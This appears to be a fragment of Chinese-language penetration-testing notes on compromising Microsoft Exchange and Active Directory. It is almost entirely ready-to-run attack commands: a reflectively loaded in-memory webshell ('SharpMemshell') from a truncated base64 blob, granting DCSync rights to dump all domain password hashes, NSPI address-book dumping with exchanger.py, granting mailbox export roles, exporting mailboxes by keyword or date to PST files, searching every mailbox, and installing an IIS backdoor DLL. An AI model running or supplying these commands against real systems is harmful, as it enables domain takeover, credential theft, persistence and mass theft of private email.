AAAAAAAAAAAAAAAAAAAEAAAAwAA"$x20="AAwMgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="$bytes = System.Convert]::FromBase64String($f)[System.Reflection.Assembly]::load($bytes).CreateInstance("SharpMemshell")

获得如下三个组内的用户凭据都可以通过dcsync导出hash 1. Exchange Trusted Subsystem2. Exchange Windows Permissions3. Organization Management#为普通用户添加ACE来（访问控制属性）使其具有DCSync权限，然后就可以导出域中所有的hash相关信息。可以通过powerview.ps1实现，下面的ACE对应上图中的属性。DS-Replication-Get-Changes-->(GUID:1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)DS-Replication-Get-Changes-->(GUID:89e95b76-444d-4c62-991a-0facbeda640c

exchanger.py domain/user:[email protected] nspi list-tables

exchanger.py domain/user:[email protected]  nspi dump-tables -guid 2b8c5358-146b-4c09-9df3-a0e761b3d7f7

#远程导入exchange management shell模块$User = "domain\username"$Pass = ConvertTo-SecureString -AsPlainText Password -Force$Credential = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Pass$Session = New-PSSession -ConfigurationName Microsoft.Exchange -ConnectionUri http://exchange-server.nopoc.org/powershell -Authentication Kerberos -Credential $Credentialset-ExecutionPolicy RemoteSignedImport-PSSession $Session -AllowClobber

#查看exchange版本信息Get-ExchangeServer | fl name,AdminDisplayVersion,edition#将xxx添加成邮箱管理员New-ManagementRoleAssignment -Role "Mailbox Import Export" -User "xxx"#查看所有邮箱Get-Mailbox -ResultSize unlimited#获得所有邮箱的信息，包括邮件数和上次访问邮箱的时间Get-Mailbox | Get-MailboxStatistics#导出特定用户邮箱New-MailboxExportRequest -Mailbox xxx -Filepath "\\exchange-server\C$\123.pst"#获得所有邮箱的信息，包括邮件数和上次访问邮箱的时间Get-Mailbox | Get-MailboxStatistics#查询exchange数据库名称get-mailboxdatabase#查看指定用户数据库名称get-mailboxstatistics -identity admin | format-list#查询所有邮箱（效果同上，只是想看怎么查看exchange的数据库名称）Get-Mailbox -Database "Mailbox Database 0771921800"

#导出指定用户的邮箱内容含有"靶标"关键词的邮箱内容New-MailboxExportRequest -Mailbox xxx -ContentFilter {(body -like "靶标*") -or (body -like "xx")} -FilePath "\\exchange-server\C$\babiao.pst"

#导出某用户特定时间内的邮件New-MailboxExportRequest -ContentFilter {((Received -gt '05/04/2013 0:00:00') -and (Received -lt '05/09/2013 23:59:59')) -or ((Sent -gt '05/04/2013 0:00:00') -and (Sent -lt '05/09/2013 23:59:59'))} -Mailbox xx -FilePath "\\exchange-server\C$\xx.pst"

#搜索所有邮箱的关键词，并将搜索结果导出到administrator有限的target文件夹中
Get-Mailbox | Search-Mailbox -SearchQuery '靶标地址' -TargetMailbox "administrator" -TargetFolder "target" -LogLevel Full

C:\Windows\System32\inetsrv\appcmd.exe install module /name:test /image:"C:\IIS-Backdoor.dll" /add:true